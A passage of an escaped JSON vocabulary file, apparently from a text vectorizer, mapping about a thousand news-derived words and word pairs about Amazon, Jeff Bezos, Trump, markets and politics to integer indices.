vincek\": 131376,\n  \"old companies\": 131377,\n  \"commission outperformance\": 131378,\n  \"biggest beneficiary\": 131379,\n  \"nineteen eighty\": 131380,\n  \"ship adding\": 131381,\n  \"abuse prohibit\": 131382,\n  \"power pass\": 131383,\n  \"surprisingly hunting\": 131384,\n  \"donnelly served\": 131385,\n  \"political interference\": 131386,\n  \"hoover institution\": 131387,\n  \"pressure doesn\": 131388,\n  \"celebrity coming\": 131389,\n  \"held 622\": 131390,\n  \"germany joined\": 131391,\n  \"williams leg\": 131392,\n  \"gone thanks\": 131393,\n  \"affect stock\": 131394,\n  \"gadsby netflix\": 131395,\n  \"unknown asked\": 131396,\n  \"bargaining\": 131397,\n  \"retrieve disenfranchised\": 131398,\n  \"super group\": 131399,\n  \"fortune\": 131400,\n  \"coffee mugs\": 131401,\n  \"revelatory tidbits\": 131402,\n  \"operate delivery\": 131403,\n  \"scented scratch\": 131404,\n  \"house unsafe\": 131405,\n  \"online search\": 131406,\n  \"just letters\": 131407,\n  \"insensitive\": 131408,\n  \"origin try\": 131409,\n  \"video australia\": 131410,\n  \"compulsory licensing\": 131411,\n  \"700 shares\": 131412,\n  \"harsh deportations\": 131413,\n  \"rethink money\": 131414,\n  \"suspended accounts\": 131415,\n  \"bakr\": 131416,\n  \"intensifying action\": 131417,\n  \"lethem ecco\": 131418,\n  \"poll released\": 131419,\n  \"1200x411\": 131420,\n  \"cummings discuss\": 131421,\n  \"childhood education\": 131422,\n  \"believed accurate\": 131423,\n  \"1990 novel\": 131424,\n  \"new relocation\": 131425,\n  \"sacrificing margins\": 131426,\n  \"nickname foreclosure\": 131427,\n  \"quests\": 131428,\n  \"lobbying campaign\": 131429,\n  \"post continuing\": 131430,\n  \"virginia exempts\": 131431,\n  \"book paul\": 131432,\n  \"roughly 300\": 131433,\n  \"investors bidding\": 131434,\n  \"left france\": 131435,\n  \"recently people\": 131436,\n  \"bozo lol\": 131437,\n  \"hasn commented\": 131438,\n  \"week heard\": 131439,\n  \"unprecedented problems\": 131440,\n  \"dystopian\": 131441,\n  \"fully laps\": 131442,\n  \"simon says\": 131443,\n  \"walmart released\": 131444,\n  \"useful forum\": 131445,\n  \"time adding\": 131446,\n  \"enquirer claims\": 131447,\n  \"years complaining\": 131448,\n  \"says thomson\": 131449,\n  \"kjgvlgygyk\": 131450,\n  \"behaviors\": 131451,\n  \"nawazuddin\": 131452,\n  \"subsidization\": 131453,\n  \"chapter dedicated\": 131454,\n  \"mutated\": 131455,\n  \"rebuild america\": 131456,\n  \"highway\": 131457,\n  \"behavior leading\": 131458,\n  \"create program\": 131459,\n  \"make revenge\": 131460,\n  \"stumping\": 131461,\n  \"manufacturing partner\": 131462,\n  \"center shooting\": 131463,\n  \"accusations obama\": 131464,\n  \"commerce image\": 131465,\n  \"actor terry\": 131466,\n  \"evangelicals rex\": 131467,\n  \"robert herguth\": 131468,\n  \"misses adjusted\": 131469,\n  \"past accusing\": 131470,\n  \"politics follow\": 131471,\n  \"supposed religious\": 131472,\n  \"sale according\": 131473,\n  \"earlier criticized\": 131474,\n  \"provide diapers\": 131475,\n  \"reeves\": 131476,\n  \"inaccessible\": 131477,\n  \"lagos\": 131478,\n  \"birds\": 131479,\n  \"naval fighter\": 131480,\n  \"chicken\": 131481,\n  \"kevin muir\": 131482,\n  \"little beat\": 131483,\n  \"multiple investigations\": 131484,\n  \"scenes book\": 131485,\n  \"amy cony\": 131486,\n  \"year warren\": 131487,\n  \"error\": 131488,\n  \"following widespread\": 131489,\n  \"news quickly\": 131490,\n  \"time sheets\": 131491,\n  \"f4a\": 131492,\n  \"hazards power\": 131493,\n  \"hundreds gather\": 131494,\n  \"collectible created\": 131495,\n  \"passes bills\": 131496,\n  \"administration canceled\": 131497,\n  \"ethanol plan\": 131498,\n  \"269 bought\": 131499,\n  \"news including\": 131500,\n  \"gm\": 131501,\n  \"slavered\": 131502,\n  \"infuriating brilliant\": 131503,\n  \"inconsistent\": 131504,\n  \"stated gavin\": 131505,\n  \"usually attendant\": 131506,\n  \"554 000\": 131507,\n  \"staff john\": 131508,\n  \"140billion fortune\": 131509,\n  \"bestseller having\": 131510,\n  \"trumpstore did\": 131511,\n  \"discriminatory policing\": 131512,\n  \"knmmx7byqm\": 131513,\n  \"late rev\": 131514,\n  \"way ticket\": 131515,\n  \"net susan\": 131516,\n  \"ahead protect\": 131517,\n  \"don tknow\": 131518,\n  \"reported remarks\": 131519,\n  \"commercial clients\": 131520,\n  \"board really\": 131521,\n  \"attend required\": 131522,\n  \"help make\": 131523,\n  \"house kessler\": 131524,\n  \"corrupt anti\": 131525,\n  \"housed\": 131526,\n  \"star kristin\": 131527,\n  \"fiery populist\": 131528,\n  \"newfield deal\": 131529,\n  \"washingtonfounder chairman\": 131530,\n  \"burglary operation\": 131531,\n  \"political earthquake\": 131532,\n  \"large revenue\": 131533,\n  \"stephon\": 131534,\n  \"local sightings\": 131535,\n  \"overall believe\": 131536,\n  \"meaningful\": 131537,\n  \"trump cummings\": 131538,\n  \"alien\": 131539,\n  \"carrier spends\": 131540,\n  \"assad donald\": 131541,\n  \"possible slap\": 131542,\n  \"day personal\": 131543,\n  \"revealed amazon\": 131544,\n  \"tangle\": 131545,\n  \"amazon tend\": 131546,\n  \"says hard\": 131547,\n  \"accessible\": 131548,\n  \"cooked meals\": 131549,\n  \"muttering maybe\": 131550,\n  \"previous attacks\": 131551,\n  \"contribute ideas\": 131552,\n  \"grant achatz\": 131553,\n  \"games amazon\": 131554,\n  \"term head\": 131555,\n  \"indexhas gained\": 131556,\n  \"aapl aapl\": 131557,\n  \"attr data\": 131558,\n  \"competition outside\": 131559,\n  \"states ally\": 131560,\n  \"brennan resisted\": 131561,\n  \"year best\": 131562,\n  \"time ahead\": 131563,\n  \"great care\": 131564,\n  \"healy article\": 131565,\n  \"cut severance\": 131566,\n  \"clicksource\": 131567,\n  \"cathy erway\": 131568,\n  \"trump ripped\": 131569,\n  \"cutting benefits\": 131570,\n  \"leak explicit\": 131571,\n  \"reiterates outlook\": 131572,\n  \"privacy campaigners\": 131573,\n  \"net hoarci\": 131574,\n  \"key factor\": 131575,\n  \"power charter\": 131576,\n  \"turning commerce\": 131577,\n  \"luckin strategy\": 131578,\n  \"wounds deeply\": 131579,\n  \"offers suite\": 131580,\n  \"medium makes\": 131581,\n  \"2nd edition\": 131582,\n  \"early\": 131583,\n  \"buy right\": 131584,\n  \"stood\": 131585,\n  \"dixon\": 131586,\n  \"clinton 2016\": 131587,\n  \"chevrolet\": 131588,\n  \"republican congressional\": 131589,\n  \"day frameworks\": 131590,\n  \"browsers\": 131591,\n  \"michael davis\": 131592,\n  \"unstoppable behemoth\": 131593,\n  \"questions linger\": 131594,\n  \"mike dorning\": 131595,\n  \"750\": 131596,\n  \"signature bulbous\": 131597,\n  \"newspaper personally\": 131598,\n  \"bezos source\": 131599,\n  \"impact putting\": 131600,\n  \"amazon early\": 131601,\n  \"fear joins\": 131602,\n  \"alec baldwin\": 131603,\n  \"loans gains\": 131604,\n  \"investigate accusations\": 131605,\n  \"establish headquarters\": 131606,\n  \"pretty good\": 131607,\n  \"famu\": 131608,\n  \"building famed\": 131609,\n  \"future constituents\": 131610,\n  \"sec charge\": 131611,\n  \"glossy teen\": 131612,\n  \"amazon does\": 131613,\n  \"duncan\": 131614,\n  \"interference trump\": 131615,\n  \"monica airport\": 131616,\n  \"new housing\": 131617,\n  \"g0 j8i\": 131618,\n  \"tissue cell\": 131619,\n  \"russian meddling\": 131620,\n  \"interview tax\": 131621,\n  \"ceo lisa\": 131622,\n  \"actually mention\": 131623,\n  \"various fronts\": 131624,\n  \"islands suffered\": 131625,\n  \"meaningful moment\": 131626,\n  \"mentions ami\": 131627,\n  \"dodging tax\": 131628,\n  \"paying capital\": 131629,\n  \"jolts report\": 131630,\n  \"million vanity\": 131631,\n  \"liang\": 131632,\n  \"helping offset\": 131633,\n  \"falls times\": 131634,\n  \"iot autonomous\": 131635,\n  \"amazon fiction\": 131636,\n  \"starbucks nasdaq\": 131637,\n  \"limited teasers\": 131638,\n  \"jarrett book\": 131639,\n  \"profits trump\": 131640,\n  \"scoring option\": 131641,\n  \"class developer\": 131642,\n  \"fundamental problem\": 131643,\n  \"2019 acceptable\": 131644,\n  \"img_bucketref img_tile_override_imageref\": 131645,\n  \"industry cooperation\": 131646,\n  \"rated newsletter\": 131647,\n  \"campaign ad\": 131648,\n  \"data leaks\": 131649,\n  \"city news\": 131650,\n  \"44ec a266\": 131651,\n  \"2019 magic\": 131652,\n  \"remarks prior\": 131653,\n  \"area banks\": 131654,\n  \"live sports\": 131655,\n  \"shannon eduardo\": 131656,\n  \"distribution center\": 131657,\n  \"run cat\": 131658,\n  \"blasted new\": 131659,\n  \"sabby\": 131660,\n  \"joined members\": 131661,\n  \"current affordable\": 131662,\n  \"incurring\": 131663,\n  \"inter\": 131664,\n  \"quarter reporting\": 131665,\n  \"times list\": 131666,\n  \"better quicker\": 131667,\n  \"socially insensitive\": 131668,\n  \"credit suisse\": 131669,\n  \"worth exploring\": 131670,\n  \"bozo earlier\": 131671,\n  \"history bezos\": 131672,\n  \"pursue structural\": 131673,\n  \"brian sommer\": 131674,\n  \"representatives denied\": 131675,\n  \"democrat claire\": 131676,\n  \"appropriate halloween\": 131677,\n  \"telemedicine portion\": 131678,\n  \"discounted rates\": 131679,\n  \"sell particular\": 131680,\n  \"preview today\": 131681,\n  \"clearly heightened\": 131682,\n  \"adding salt\": 131683,\n  \"capture artificial\": 131684,\n  \"swamp source\": 131685,\n  \"shutting stores\": 131686,\n  \"sollicitatie\": 131687,\n  \"null custom_article_footer\": 131688,\n  \"property tax\": 131689,\n  \"possible tomorrows\": 131690,\n  \"divestiture\": 131691,\n  \"state view\": 131692,\n  \"damian butts\": 131693,\n  \"advisor gavin\": 131694,\n  \"challenged judicial\": 131695,\n  \"notably avoided\": 131696,\n  \"scorsese directed\": 131697,\n  \"late yahoo\": 131698,\n  \"services partners\": 131699,\n  \"current price\": 131700,\n  \"nervous right\": 131701,\n  \"currentvideocollectionid isliveplayer\": 131702,\n  \"amazon drawn\": 131703,\n  \"vote zuker\": 131704,\n  \"bezos fight\": 131705,\n  \"terrible condition\": 131706,\n  \"allegations senate\": 131707,\n  \"disease control\": 131708,\n  \"trump genitalia\": 131709,\n  \"based prices\": 131710,\n  \"seahawks\": 131711,\n  \"ron lee\": 131712,\n  \"devastating change\": 131713,\n  \"163\": 131714,\n  \"countries accountable\": 131715,\n  \"model forte\": 131716,\n  \"uk india\": 131717,\n  \"warren actually\": 131718,\n  \"state proposal\": 131719,\n  \"benefited enormously\": 131720,\n  \"popular movies\": 131721,\n  \"different versions\": 131722,\n  \"employment created\": 131723,\n  \"order products\": 131724,\n  \"unanswered including\": 131725,\n  \"ulrich mayoral\": 131726,\n  \"stephenson fired\": 131727,\n  \"fdic mnuchin\": 131728,\n  \"hug\": 131729,\n  \"downplaying united\": 131730,\n  \"surprising development\": 131731,\n  \"enforce\": 131732,\n  \"regulatory change\": 131733,\n  \"videla\": 131734,\n  \"companies ironically\": 131735,\n  \"tariffs altogether\": 131736,\n  \"corporatist\": 131737,\n  \"aspire\": 131738,\n  \"charlotte trump\": 131739,\n  \"moral imperative\": 131740,\n  \"tr schx\": 131741,\n  \"100 implying\": 131742,\n  \"skilled earlier\": 131743,\n  \"threatened measures\": 131744,\n  \"campaigns declined\": 131745,\n  \"blocks away\": 131746,\n  \"diana ross\": 131747,\n  \"american culture\": 131748,\n  \"country controversies\": 131749,\n  \"wait rating\": 131750,\n  \"companies weren\": 131751,\n  \"cowl\": 131752,\n  \"offering exclusive\": 131753,\n  \"acute homelessness\": 131754,\n  \"extraordinary circumstances\": 131755,\n  \"helps microsoft\": 131756,\n  \"upstate 24th\": 131757,\n  \"pledge isnt\": 131758,\n  \"app customers\": 131759,\n  \"administration essentially\": 131760,\n  \"washington jeff\": 131761,\n  \"incidents london\": 131762,\n  \"prize winning\": 131763,\n  \"ad wastes\": 131764,\n  \"corp tgt\": 131765,\n  \"market watchers\": 131766,\n  \"running water\": 131767,\n  \"media radar\": 131768,\n  \"counterfeits amazon\": 131769,\n  \"upcoming quarter\": 131770,\n  \"macroeconomic statistics\": 131771,\n  \"defendant trump\": 131772,\n  \"700 video\": 131773,\n  \"current owner\": 131774,\n  \"hank\": 131775,\n  \"cover attributable\": 131776,\n  \"amazon progressives\": 131777,\n  \"origins\": 131778,\n  \"congressional switchboard\": 131779,\n  \"hikes despite\": 131780,\n  \"provided evidence\": 131781,\n  \"worker paychecks\": 131782,\n  \"evan bayh\": 131783,\n  \"coordinated staff\": 131784,\n  \"roku shares\": 131785,\n  \"glory music\": 131786,\n  \"accidentally grazed\": 131787,\n  \"necktie\": 131788,\n  \"generous bargain\": 131789,\n  \"nature soon\": 131790,\n  \"omitted\": 131791,\n  \"holiday celebrated\": 131792,\n  \"headlines sept\": 131793,\n  \"reminding pet\": 131794,\n  \"henhawk\": 131795,\n  \"ariz\": 131796,\n  \"entirely legitimate\": 131797,\n  \"helpful factsheets\": 131798,\n  \"nvidia stock\": 131799,\n  \"keri\": 131800,\n  \"site crash\": 131801,\n  \"mitch mcconnell\": 131802,\n  \"charging cable\": 131803,\n  \"second best\": 131804,\n  \"help women\": 131805,\n  \"enhanced suite\": 131806,\n  \"trump movement\": 131807,\n  \"elicited\": 131808,\n  \"mohawk\": 131809,\n  \"articles\": 131810,\n  \"new agency\": 131811,\n  \"potential voters\": 131812,\n  \"predispositions predilections\": 131813,\n  \"despite lengthy\": 131814,\n  \"best things\": 131815,\n  \"reporting record\": 131816,\n  \"osm\": 131817,\n  \"opinion normal\": 131818,\n  \"retail legend\": 131819,\n  \"major conference\": 131820,\n  \"dems investigation\": 131821,\n  \"stakeholders\": 131822,\n  \"evil patrick\": 131823,\n  \"projects building\": 131824,\n  \"technologically vulnerable\": 131825,\n  \"riveting true\": 131826,\n  \"tax situation\": 131827,\n  \"arrange hush\": 131828,\n  \"term make\": 131829,\n  \"competitive results\": 131830,\n  \"services provider\": 131831,\n  \"cheering crowds\": 131832,\n  \"dentsu aegis\": 131833,\n  \"het complete\": 131834,\n  \"reporting motivations\": 131835,\n  \"soundbite border\": 131836,\n  \"necessarily change\": 131837,\n  \"generated billions\": 131838,\n  \"swat\": 131839,\n  \"new developer\": 131840,\n  \"sound competition\": 131841,\n  \"deliver food\": 131842,\n  \"won reverse\": 131843,\n  \"roi\": 131844,\n  \"forbesbooks\": 131845,\n  \"wife mac\": 131846,\n  \"shelter hundreds\": 131847,\n  \"associates\": 131848,\n  \"office effectively\": 131849,\n  \"tale williams\": 131850,\n  \"savanna greatly\": 131851,\n  \"saudi people\": 131852,\n  \"uk insurance\": 131853,\n  \"returning democrats\": 131854,\n  \"different designs\": 131855,\n  \"sooter lost\": 131856,\n  \"given sweetheart\": 131857,\n  \"left sits\": 131858,\n  \"alternative amazon\": 131859,\n  \"big upgrade\": 131860,\n  \"cleavage\": 131861,\n  \"dylan dhoward\": 131862,\n  \"months resulting\": 131863,\n  \"pinky swear\": 131864,\n  \"mccabe opened\": 131865,\n  \"christmas stories\": 131866,\n  \"exciting new\": 131867,\n  \"daniel worth\": 131868,\n  \"articles fairly\": 131869,\n  \"twitter jeff\": 131870,\n  \"restrictions places\": 131871,\n  \"employee makes\": 131872,\n  \"brokers payment\": 131873,\n  \"service calls\": 131874,\n  \"northeast queens\": 131875,\n  \"survive global\": 131876,\n  \"anti competitive\": 131877,\n  \"criticisms possibly\": 131878,\n  \"troublesome debt\": 131879,\n  \"giving platform\": 131880,\n  \"medium new\": 131881,\n  \"charles heir\": 131882,\n  \"nasa\": 131883,\n  \"130 people\": 131884,\n  \"florida elections\": 131885,\n  \"potentially including\": 131886,\n  \"congress according\": 131887,\n  \"esi edugyan\": 131888,\n  \"taxes nyt\": 131889,\n  \"democrat schumer\": 131890,\n  \"065\": 131891,\n  \"merchandise using\": 131892,\n  \"region later\": 131893,\n  \"group fell\": 131894,\n  \"volvo\": 131895,\n  \"100 amzn\": 131896,\n  \"taxes think\": 131897,\n  \"endurance wealth\": 131898,\n  \"z8 u0\": 131899,\n  \"giving customers\": 131900,\n  \"quietly entered\": 131901,\n  \"g7a f7a\": 131902,\n  \"alibaba affiliate\": 131903,\n  \"notable competitors\": 131904,\n  \"governor marks\": 131905,\n  \"epic deal\": 131906,\n  \"news dylan\": 131907,\n  \"soaked burned\": 131908,\n  \"integrator xenit\": 131909,\n  \"gizmodo reports\": 131910,\n  \"actually work\": 131911,\n  \"weren capable\": 131912,\n  \"management event\": 131913,\n  \"checker aims\": 131914,\n  \"funding rick\": 131915,\n  \"berkshire decision\": 131916,\n  \"albright\": 131917,\n  \"investigationsinto\": 131918,\n  \"asking company\": 131919,\n  \"build 600\": 131920,\n  \"semi equipment\": 131921,\n  \"afford today\": 131922,\n  \"democrat congresswoman\": 131923,\n  \"government market\": 131924,\n  \"records immigration\": 131925,\n  \"frenzy\": 131926,\n  \"mayor john\": 131927,\n  \"beast sources\": 131928,\n  \"probably argue\": 131929,\n  \"harm univision\": 131930,\n  \"shipping software\": 131931,\n  \"yorkers including\": 131932,\n  \"contact licensing\": 131933,\n  \"apple stake\": 131934,\n  \"corporate executives\": 131935,\n  \"publisher paid\": 131936,\n  \"competitor estimate\": 131937,\n  \"nostalgic inspiration\": 131938,\n  \"world population\": 131939,\n  \"agents linked\": 131940,\n  \"richest company\": 131941,\n  \"ec\": 131942,\n  \"trimmer\": 131943,\n  \"2017 op\": 131944,\n  \"washington way\": 131945,\n  \"consumer market\": 131946,\n  \"possible tax\": 131947,\n  \"amazon razor\": 131948,\n  \"airport tarmac\": 131949,\n  \"high home\": 131950,\n  \"upheaval republican\": 131951,\n  \"guest rude\": 131952,\n  \"lacked imagination\": 131953,\n  \"huge number\": 131954,\n  \"big ones\": 131955,\n  \"agile manifesto\": 131956,\n  \"carrier diversification\": 131957,\n  \"matter trump\": 131958,\n  \"baseless charges\": 131959,\n  \"using current\": 131960,\n  \"flowing\": 131961,\n  \"jane fox\": 131962,\n  \"spreadsheet\": 131963,\n  \"classics\": 131964,\n  \"old glory\": 131965,\n  \"moser\": 131966,\n  \"dignifying\": 131967,\n  \"lead jeff\": 131968,\n  \"tabs\": 131969,\n  \"gives hint\": 131970,\n  \"orioles fans\": 131971,\n  \"guys think\": 131972,\n  \"committees amazon\": 131973,\n  \"aly raisman\": 131974,\n  \"american administration\": 131975,\n  \"gasol taps\": 131976,\n  \"squads created\": 131977,\n  \"trump incredibly\": 131978,\n  \"reportedly flipping\": 131979,\n  \"1271 bought\": 131980,\n  \"fix facetime\": 131981,\n  \"flight mode\": 131982,\n  \"brad\": 131983,\n  \"warren rep\": 131984,\n  \"pho\": 131985,\n  \"amazon 352\": 131986,\n  \"kinda crazy\": 131987,\n  \"terrible working\": 131988,\n  \"administration appear\": 131989,\n  \"seated antipathy\": 131990,\n  \"offers subscribers\": 131991,\n  \"ross minding\": 131992,\n  \"chairman told\": 131993,\n  \"barbs\": 131994,\n  \"fallen prey\": 131995,\n  \"need\": 131996,\n  \"state regulations\": 131997,\n  \"brian huseman\": 131998,\n  \"adviser boris\": 131999,\n  \"deserts\": 132000,\n  \"canada\": 132001,\n  \"businesses operated\": 132002,\n  \"wider customer\": 132003,\n  \"000 permanent\": 132004,\n  \"sale simon\": 132005,\n  \"cloth excessive\": 132006,\n  \"seconds jeff\": 132007,\n  \"saudis 2018\": 132008,\n  \"source medium\": 132009,\n  \"laws remain\": 132010,\n  \"powerfully\": 132011,\n  \"alarming\": 132012,\n  \"karen deyoung\": 132013,\n  \"origin jack\": 132014,\n  \"letter delivery\": 132015,\n  \"idea griffeth\": 132016,\n  \"holds\": 132017,\n  \"progressive activists\": 132018,\n  \"protect ebay\": 132019,\n  \"really exonerated\": 132020,\n  \"mc\": 132021,\n  \"plans senate\": 132022,\n  \"250m\": 132023,\n  \"party developers\": 132024,\n  \"goodbye funeral\": 132025,\n  \"seabreeze partners\": 132026,\n  \"nation wounds\": 132027,\n  \"marketing cork\": 132028,\n  \"deaths fentanyl\": 132029,\n  \"game amazon\": 132030,\n  \"worrying inward\": 132031,\n  \"progressive raising\": 132032,\n  \"launches investigation\": 132033,\n  \"summit oscars\": 132034,\n  \"technology 418987\": 132035,\n  \"nationalvoterregistrationday\": 132036,\n  \"competitive theirgrudging\": 132037,\n  \"people shopping\": 132038,\n  \"won elections\": 132039,\n  \"know did\": 132040,\n  \"hackers millions\": 132041,\n  \"royalsdevilmagic kcdevilmagic\": 132042,\n  \"wilson ceo\": 132043,\n  \"alternative assets\": 132044,\n  \"stahl\": 132045,\n  \"foods 2018\": 132046,\n  \"rap\": 132047,\n  \"lemonade\": 132048,\n  \"waning new\": 132049,\n  \"math today\": 132050,\n  \"does trump\": 132051,\n  \"quarterly profit\": 132052,\n  \"haven passed\": 132053,\n  \"hbo channel\": 132054,\n  \"interview houston\": 132055,\n  \"2018 gaap\": 132056,\n  \"crispin glover\": 132057,\n  \"reports slower\": 132058,\n  \"vanityfair\": 132059,\n  \"industry win\": 132060,\n  \"obstacles\": 132061,\n  \"trump net\": 132062,\n  \"superior reality\": 132063,\n  \"defense authorization\": 132064,\n  \"divorce fox\": 132065,\n  \"locate warehouses\": 132066,\n  \"design car\": 132067,\n  \"service depends\": 132068,\n  \"hired everett\": 132069,\n  \"youth edition\": 132070,\n  \"mainstream newspapers\": 132071,\n  \"generally speaking\": 132072,\n  \"crucial car\": 132073,\n  \"novel project\": 132074,\n  \"court lawsuit\": 132075,\n  \"brakes\": 132076,\n  \"bette\": 132077,\n  \"reports emerge\": 132078,\n  \"storefronts categories\": 132079,\n  \"chain new\": 132080,\n  \"work condition\": 132081,\n  \"2015 elemental\": 132082,\n  \"economic analysis\": 132083,\n  \"2018 saddest\": 132084,\n  \"carries lot\": 132085,\n  \"alleged unsafe\": 132086,\n  \"contrast alexandria\": 132087,\n  \"dr sandra\": 132088,\n  \"investment rules\": 132089,\n  \"money check\": 132090,\n  \"dictators threatens\": 132091,\n  \"american troops\": 132092,\n  \"home headquarters\": 132093,\n  \"news piece\": 132094,\n  \"synthesizing additional\": 132095,\n  \"inclusion letter\": 132096,\n  \"george linked\": 132097,\n  \"volatility index\": 132098,\n  \"amusement parks\": 132099,\n  \"person trump\": 132100,\n  \"replace amazon\": 132101,\n  \"a787ba9a b1a1\": 132102,\n  \"completely untrue\": 132103,\n  \"philanthropy amazon\": 132104,\n  \"investigating pecker\": 132105,\n  \"tax payment\": 132106,\n  \"000 current\": 132107,\n  \"environment mma\": 132108,\n  \"therapy sickens\": 132109,\n  \"job openings\": 132110,\n  \"ricardo\": 132111,\n  \"loud dude\": 132112,\n  \"motley told\": 132113,\n  \"andrew bremberg\": 132114,\n  \"181 million\": 132115,\n  \"james thomas\": 132116,\n  \"rohrabacher says\": 132117,\n  \"classical\": 132118,\n  \"amazon actual\": 132119,\n  \"framed picture\": 132120,\n  \"farcical trump\": 132121,\n  \"tru communication\": 132122,\n  \"wallets\": 132123,\n  \"innovation costs\": 132124,\n  \"hq projects\": 132125,\n  \"c2x t5q\": 132126,\n  \"hosting countries\": 132127,\n  \"mass marketplaces\": 132128,\n  \"saying saving\": 132129,\n  \"bezos married\": 132130,\n  \"mehrotra\": 132131,\n  \"benghazi libya\": 132132,\n  \"comprised\": 132133,\n  \"weight\": 132134,\n  \"councilman francisco\": 132135,\n  \"latest leslie\": 132136,\n  \"items needs\": 132137,\n  \"lg g7\": 132138,\n  \"rates applied\": 132139,\n  \"downgraded india\": 132140,\n  \"clifton broumand\": 132141,\n  \"personally punish\": 132142,\n  \"cuts trump\": 132143,\n  \"key day\": 132144,\n  \"curious cassidy\": 132145,\n  \"audience cheering\": 132146,\n  \"ninety million\": 132147,\n  \"semi erect\": 132148,\n  \"great sums\": 132149,\n  \"ford intel\": 132150,\n  \"busy cities\": 132151,\n  \"year looks\": 132152,\n  \"bloomberg vanity\": 132153,\n  \"offer sanders\": 132154,\n  \"demanded\": 132155,\n  \"hybrid cloud\": 132156,\n  \"mody nightly\": 132157,\n  \"amazon benefited\": 132158,\n  \"reportedly claiming\": 132159,\n  \"800 shipped\": 132160,\n  \"donnell ahead\": 132161,\n  \"closest confidants\": 132162,\n  \"asserts competitor\": 132163,\n  \"rental housing\": 132164,\n  \"rigged search\": 132165,\n  \"copies according\": 132166,\n  \"billionaire index\": 132167,\n  \"patricia zapolsky\": 132168,\n  \"new income\": 132169,\n  \"stocks dont\": 132170,\n  \"lobby suggests\": 132171,\n  \"calculations delaying\": 132172,\n  \"analysis individuals\": 132173,\n  \"angela\": 132174,\n  \"vans employ\": 132175,\n  \"movement worldwide\": 132176,\n  \"america liberals\": 132177,\n  \"experiencing record\": 132178,\n  \"hill tech\": 132179,\n  \"amazon exploring\": 132180,\n  \"mms\": 132181,\n  \"wildfire victims\": 132182,\n  \"red glasses\": 132183,\n  \"employees thinking\": 132184,\n  \"trump believes\": 132185,\n  \"hard reality\": 132186,\n  \"great state\": 132187,\n  \"representative confirmed\": 132188,\n  \"solutions provider\": 132189,\n  \"illuminates\": 132190,\n  \"included sunset\": 132191,\n  \"fox california\": 132192,\n  \"rivals los\": 132193,\n  \"800 872\": 132194,\n  \"couple escalated\": 132195,\n  \"instigated\": 132196,\n  \"hyperlocal\": 132197,\n  \"548 551\": 132198,\n  \"administrations yes\": 132199,\n  \"amazon influence\": 132200,\n  \"isnt necessarily\": 132201,\n  \"scandal movie\": 132202,\n  \"payments regulators\": 132203,\n  \"proof amazon\": 132204,\n  \"amazon adherents\": 132205,\n  \"arab spring\": 132206,\n  \"dealings\": 132207,\n  \"fnn meaning\": 132208,\n  \"ensw piece\": 132209,\n  \"perceptions\": 132210,\n  \"brodkin\": 132211,\n  \"trump interview\": 132212,\n  \"history gives\": 132213,\n  \"largest shipper\": 132214,\n  \"question corporate\": 132215,\n  \"committing\": 132216,\n  \"larger benefits\": 132217,\n  \"1084627451983073280\": 132218,\n  \"geo political\": 132219,\n  \"tornado passengers\": 132220,\n  \"alienate\": 132221,\n  \"exclusive interviews\": 132222,\n  \"deficits\": 132223,\n  \"special anymore\": 132224,\n  \"hellhole\": 132225,\n  \"news editor\": 132226,\n  \"includes esdc\": 132227,\n  \"suliman\": 132228,\n  \"jacobson writes\": 132229,\n  \"president opposition\": 132230,\n  \"trump lackey\": 132231,\n  \"country export\": 132232,\n  \"world owns\": 132233,\n  \"abusing warehouse\": 132234,\n  \"charges\": 132235,\n  \"conversations citigroup\": 132236,\n  \"3661\": 132237,\n  \"hola buenas\": 132238,\n  \"570 words\": 132239,\n  \"bullhorn\": 132240,\n  \"millennials appear\": 132241,\n  \"wireless technology\": 132242,\n  \"independent media\": 132243,\n  \"extraordinary contributions\": 132244,\n  \"fest\": 132245,\n  \"kellyn\": 132246,\n  \"20th avenue\": 132247,\n  \"microsoft conference\": 132248,\n  \"profit agnostic\": 132249,\n  \"weeding\": 132250,\n  \"frames asp\": 132251,\n  \"assuredly\": 132252,\n  \"tree journalist\": 132253,\n  \"started life\": 132254,\n  \"quietly lobby\": 132255,\n  \"improve artificial\": 132256,\n  \"party workers\": 132257,\n  \"amazon dipped\": 132258,\n  \"homicide\": 132259,\n  \"superbly\": 132260,\n  \"confident eu\": 132261,\n  \"special video\": 132262,\n  \"york establishment\": 132263,\n  \"certain industries\": 132264,\n  \"indelible fashion\": 132265,\n  \"different partners\": 132266,\n  \"relationship stating\": 132267,\n  \"imageserve 834704902\": 132268,\n  \"american teacher\": 132269,\n  \"human conflict\": 132270,\n  \"experience think\": 132271,\n  \"seventy\": 132272,\n  \"business practices\": 132273,\n  \"inform readers\": 132274,\n  \"marketwatch instagram\": 132275,\n  \"house jeff\": 132276,\n  \"fox entertainment\": 132277,\n  \"trump character\": 132278,\n  \"offered 573\": 132279,\n  \"especially mining\": 132280,\n  \"tech migration\": 132281,\n  \"story making\": 132282,\n  \"2017 list\": 132283,\n  \"nbsptrump\": 132284,\n  \"foundation attendees\": 132285,\n  \"carney james\": 132286,\n  \"anna murdoch\": 132287,\n  \"perfume\": 132288,\n  \"social citing\": 132289,\n  \"fell european\": 132290,\n  \"story republicans\": 132291,\n  \"concerning\": 132292,\n  \"profoundly misunderstood\": 132293,\n  \"door justin\": 132294,\n  \"shah told\": 132295,\n  \"corrugated containers\": 132296,\n  \"assistance programs\": 132297,\n  \"member eric\": 132298,\n  \"eliana\": 132299,\n  \"mull\": 132300,\n  \"reportedly sexted\": 132301,\n  \"single claim\": 132302,\n  \"allows ibama\": 132303,\n  \"didnt present\": 132304,\n  \"kickers rip\": 132305,\n  \"obviously president\": 132306,\n  \"discussed rekognition\": 132307,\n  \"robotic technology\": 132308,\n  \"black netflix\": 132309,\n  \"0n17_bcccgcccggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg ggggggggggggggggggggggggggggggggggggggggg\": 132310,\n  \"hungry brother\": 132311,\n  \"staples center\": 132312,\n  \"boston stemming\": 132313,\n  \"regulation president\": 132314,\n  \"propping\": 132315,\n  \"presidential palace\": 132316,\n  \"quotation\": 132317,\n  \"dsps\": 132318,\n  \"sever relationships\": 132319,\n  \"tubi tv\": 132320,\n  \"case heard\": 132321,\n  \"hit job\": 132322,\n  \"trucks saw\": 132323,\n  \"hindu script\": 132324,\n  \"lying corporations\": 132325,\n  \"usually gotten\": 132326,\n  \"voice price\": 132327,\n  \"leaflets\": 132328,\n  \"leader says\": 132329,\n  \"capital markets\": 132330,\n  \"harry razors\": 132331,\n  \"tax monopoly\": 132332,\n  \"antarctica\": 132333,\n  \"worker pensions\": 132334,\n  \"vulnerability\": 132335,\n  \"africa national\": 132336,\n  \"followed separate\": 132337,\n  \"bullish 